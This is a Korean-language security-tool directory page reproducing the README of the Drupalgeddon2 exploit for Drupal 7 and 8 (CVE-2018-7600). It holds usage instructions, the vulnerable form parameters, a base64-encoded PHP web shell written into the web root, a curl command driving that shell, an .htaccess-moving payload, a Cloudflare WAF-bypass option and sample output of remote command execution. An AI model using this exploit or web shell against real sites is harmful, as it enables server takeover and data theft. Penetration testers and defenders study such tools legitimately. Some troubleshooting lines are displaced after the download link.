Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Drupalgeddon2 — Drupal v7.x + v8.x용 익스플로잇 (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
도구/GitHubGitHub/dreadlocked/drupalgeddon2
Payload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration Testing
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Drupal v7.x + v8.x용 익스플로잇 (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

저장소 보기
6001695년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' 원격 코드 실행(RCE) (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

지원 대상:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL을 사용하여 account/mail 및 #post_render 파라미터를 공격하며, PHP의 passthru 함수를 사용
  • Drupal < 7.58 ~ user/password URL을 사용하여 triggering_element_name 폼 및 #post_render 파라미터를 공격하며, PHP의 passthru 함수를 사용
  • 직접 명령(일명 파일리스(File-Less) 방식)과 함께 작동하거나 웹 루트(./) 또는 하위 디렉터리(./sites/default/ 및 ./sites/default/files/)에 PHP 셸 작성
  • Linux 및 Windows 대상 지원
  • Drupal 버전 자동 감지 (또는 합리적인 추측!)

Drupal v8.x의 경우 user/register 방식을 선택했는데, 이는 HTTP 200을 반환하고 data JSON 응답에 출력을 렌더링하기 때문입니다 (timezone/#lazy_builder 방식의 코드를 주석 해제하면 HTTP 500을 반환하고 블라인드(blind) 상태가 됩니다!) (자세한 정보)

작성자:

  • Hans Topo (@_dreadlocked)
  • g0tmi1k (@g0tmi1k)

참고 사항:

  • 고급 사용자/환경을 위한 더 커스터마이징 가능한 익스플로잇이 있습니다. drupalgeddon2-customizable-beta.rb 섹션을 참조하세요.
  • 이슈를 열기 전에 마지막에 있는 문제 해결 섹션을 읽어 주세요. 감사합니다!

사용법:

root@kitploit:~
$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

--verbose 및 --authentication 파라미터는 뒤에 순서에 관계없이 추가할 수 있으며 둘 다 선택 사항입니다. --authentication을 지정하면 다음 항목을 입력하라는 프롬프트가 표시됩니다:

  • 사용자 이름(username),
  • 비밀번호(password),
  • 사용자 이름용 폼 필드 이름,
  • 비밀번호용 폼 필드 이름,
  • 웹 로그인 페이지의 URL 경로(예: user/login)
  • 폼 제출 시 자격 증명 뒤에 추가할 접미사(예: form_id 등)

이 옵션은 인증 성공 시 세션 쿠키로 응답하는 POST 기반 웹 로그인을 먼저 요구하는 웹사이트를 익스플로잇할 수 있도록 지원하기 위한 것입니다.

Drupal v8.x 예제

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Drupal v7.x 예제

Drupal < v7.58

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

직접 명령 / 비 PHP 셸 (일명 파일리스(File-Less) 방식)

PHP 웹 셸을 웹 서버에 작성하려는 시도조차 하지 않으려면 파일을 아래와 같이 편집하세요 (어차피 쓰기 가능한 위치를 찾지 못하면 폴백(fallback)됩니다):

root@kitploit:~
try_phpshelltryphpshell = false

예제

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct commands
drupalgeddon2>> lsb_release -a
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty
drupalgeddon2>>

프록시 지원

프록시 지원을 위해 (예: Burp) 파일을 편집하여 자신의 값으로 대체하세요. 예:

root@kitploit:~
proxy_addr = "192.168.0.130"
proxy_port = 8080

실험적이지만 사용 가능: drupalgeddon2-customizable-beta.rb

drupalgeddon2-customizable-beta.rb는 더 많은 커스터마이징이 가능하므로 고급 사용자를 대상으로 합니다. 사용할 PHP 메서드(system() 또는 passthru()만이 아니라)와 user/password 폼에 도달하는 방식을 추가로 지정할 수 있습니다.

사용 예시:

root@kitploit:~
Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
More info: -h
    -u, --url URL                    [Required] Service URL
    -v, --version VERSION            [Required] Target Drupal version {7,8}
    -c, --command COMMAND            [Required] Command to execute
    -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
        --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
        --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
    -h, --help                       Prints this help

문제 해결:

  • cannot load such file "LoadError" 유형의 오류가 발생할 때마다 sudo gem install <missing dependency>를 실행하세요. 특히, sudo gem install highline 명령으로 highline 의존성을 설치해야 할 수 있습니다.

  • 대상이 Drupal이 존재하는 다른 경로로 리디렉션할 수 있습니다(예: HTTP 30x 응답)

    • 해결 방법: 올바른 Drupal 경로를 사용하고 있는지 확인하세요
  • 페이로드/명령에 사용할 수 있는 허용 문자에는 제한이 있습니다

    • 해결 방법: 이는 취약점이 해당 문자들을 인식하는 방식과 URL 요청을 위해 인코딩되기 때문입니다. 페이로드를 인코딩한 다음 대상에서 디코딩하세요. 예: base64
  • 대상이 Linux이고 "GNU base64"를 사용하지 않는 경우 BSD 버전일 수 있습니다 (또는 아예 설치되어 있지 않을 수 있습니다!)

    • 해결 방법: base64 -d 대신 base64 -D로 전환하거나 파일리스 방식을 사용하세요
  • 대상이 Windows를 사용하는 경우 PHP 셸 작성이 항상 실패합니다

    • 해결 방법: 파일리스 방식을 사용하세요. 이는 certutil 또는 PowerShell을 사용하는 대신 유닉스 프로그램으로 파이프하기 때문입니다
  • Drupal v8.x - ./.htaccess는 쓰기 가능한 폴더가 ./sites/default/인 경우 해당 폴더에서 PHP 스크립트가 실행되지 않도록 차단합니다

    • 해결 방법: 파일리스 방식으로 전환하세요
  • Drupal v8.x - 대상에서 "clean URL"이 활성화되어 있지 않습니다


링크:

  • Drupal SA-CORE-2018-002 권고(Advisory) ~ https://www.drupal.org/sa-core-2018-002
  • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
  • 분석 및 연구(Write up & Research) ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
  • cURL 명령/샘플 PoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
도구 다운로드
  • 해결 방법: 해당 없음(N/A) - 취약하지 않음 =(
  • Drupal v7.x - /user/password 폼이 비활성화된 경우 다른 폼을 찾아야 합니다 (익스플로잇을 변경해야 한다는 점을 기억하세요!)

    • 해결 방법: form_id 파라미터는 취약점을 익스플로잇하는 데 사용되는 폼에 따라 달라집니다